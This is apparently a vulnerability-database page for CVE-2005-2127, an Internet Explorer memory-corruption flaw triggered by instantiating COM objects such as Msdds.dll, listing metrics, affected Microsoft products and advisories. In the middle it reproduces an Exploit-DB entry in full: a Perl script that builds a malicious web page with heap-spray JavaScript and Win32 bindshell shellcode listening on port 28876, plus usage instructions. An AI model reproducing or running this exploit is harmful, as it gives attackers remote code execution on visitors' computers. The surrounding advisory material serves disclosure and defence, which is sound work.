CVE-2005-2127 : Detail

CVE-2005-2127

Overflow
63.52%V3
Network
2005-08-19
02h00 +00:00
2018-10-19
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft Internet Explorer 5.01, 5.5, and 6 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a web page with embedded CLSIDs that reference certain COM objects that are not intended for use within Internet Explorer, as originally demonstrated using the (1) DDS Library Shape Control (Msdds.dll) COM object, and other objects including (2) Blnmgrps.dll, (3) Ciodm.dll, (4) Comsvcs.dll, (5) Danim.dll, (6) Htmlmarq.ocx, (7) Mdt2dd.dll (as demonstrated using a heap corruption attack with uninitialized memory), (8) Mdt2qd.dll, (9) Mpg4ds32.ax, (10) Msadds32.ax, (11) Msb1esen.dll, (12) Msb1fren.dll, (13) Msb1geen.dll, (14) Msdtctm.dll, (15) Mshtml.dll, (16) Msoeacct.dll, (17) Msosvfbr.dll, (18) Mswcrun.dll, (19) Netshell.dll, (20) Ole2disp.dll, (21) Outllib.dll, (22) Psisdecd.dll, (23) Qdvd.dll, (24) Repodbc.dll, (25) Shdocvw.dll, (26) Shell32.dll, (27) Soa.dll, (28) Srchui.dll, (29) Stobject.dll, (30) Vdt70.dll, (31) Vmhelper.dll, and (32) Wbemads.dll, aka a variant of the "COM Object Instantiation Memory Corruption vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26167

Publication date : 2005-08-16 22h00 +00:00
Author : anonymous
EDB Verified : Yes

source: https://www.securityfocus.com/bid/14594/info Microsoft Visual Studio .NET is prone to a vulnerability that could allow remote arbitrary code execution. This is due to a buffer overflow that is exposed during COM object instantiation. The list of vulnerable packages has been updated to include applications suspected of installing the vulnerable msdds.dll library. #!/usr/bin/perl ####################################################### # # Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day) # # Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous # # PoC code ripped from Berend-Jan Wever's Internet-Exploiter # # Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll) # # Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2) # # Code usage : perl IE-Msddsdll-0day.pl > mypage.html # ####################################################### # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2, 1991 as published by # the Free Software Foundation. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # A copy of the GNU General Public License can be found at: # http://www.gnu.org/licenses/gpl.html # or you can write to: # Free Software Foundation, Inc. # 59 Temple Place - Suite 330 # Boston, MA 02111-1307 # USA. # ####################################################### # header my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n"; # Win32 bindshell (port 28876) - SkyLined my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb". "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea". "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7". "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b". "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64". "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c". "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe". "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0". "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050". "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6". "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650". "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa". "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656". "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1". "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353". "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353". "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe". "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff". "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n"; # Memory my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n". "headersize = 20;\n". "slackspace = headersize+shellcode.length\n". "while (bigblock.length<slackspace) bigblock+=bigblock;\n". "fillblock = bigblock.substring(0, slackspace);\n". "block = bigblock.substring(0, bigblock.length-slackspace);\n". "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n". "memory = new Array();\n". "for (i=0;i<700;i++) memory[i] = block + shellcode;\n". "</SCRIPT>\n"; # Msdds.dll my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F'; # footer my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n". "Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n"; # print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin print "$header $shellcode $code $footer";

Products Mentioned

Configuraton 0

Ati>>Catalyst_driver >> Version *

Microsoft>>.net_framework >> Version 1.1

Microsoft>>.net_framework >> Version 1.1

Microsoft>>.net_framework >> Version 1.1

Microsoft>>.net_framework >> Version 1.1

Microsoft>>Office >> Version *

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version 2000

Microsoft>>Office >> Version xp

Microsoft>>Office >> Version xp

Microsoft>>Office >> Version xp

Microsoft>>Project >> Version 98

Microsoft>>Project >> Version 2000

Microsoft>>Project >> Version 2002

Microsoft>>Project >> Version 2002

Microsoft>>Project >> Version 2003

Microsoft>>Project >> Version 2003

Microsoft>>Visio >> Version 2000

Microsoft>>Visio >> Version 2002

Microsoft>>Visio >> Version 2002

Microsoft>>Visio >> Version 2002

Microsoft>>Visio >> Version 2002

Microsoft>>Visio >> Version 2002

Microsoft>>Visio >> Version 2002

Microsoft>>Visio >> Version 2003

Microsoft>>Visio >> Version 2003

Microsoft>>Visio >> Version 2003

Microsoft>>Visio >> Version 2003

Microsoft>>Visual_studio_.net >> Version 2002

Microsoft>>Visual_studio_.net >> Version 2003

Microsoft>>Visual_studio_.net >> Version 2003

Microsoft>>Visual_studio_.net >> Version gold

Microsoft>>Visual_studio_.net >> Version gold

Microsoft>>Visual_studio_.net >> Version gold

Microsoft>>Visual_studio_.net >> Version gold

Microsoft>>Visual_studio_.net >> Version gold

References

http://www.kb.cert.org/vuls/id/959049
Tags : third-party-advisory, x_refsource_CERT-VN
http://securityreason.com/securityalert/72
Tags : third-party-advisory, x_refsource_SREASON
http://www.us-cert.gov/cas/techalerts/TA05-347A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.securityfocus.com/bid/15061
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/17223
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/16480
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17172
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/14594
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/17509
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.us-cert.gov/cas/techalerts/TA06-220A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.kb.cert.org/vuls/id/740372
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.kb.cert.org/vuls/id/898241
Tags : third-party-advisory, x_refsource_CERT-VN
http://securitytracker.com/id?1014727
Tags : vdb-entry, x_refsource_SECTRACK
http://www.us-cert.gov/cas/techalerts/TA05-284A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.vupen.com/english/advisories/2005/1450
Tags : vdb-entry, x_refsource_VUPEN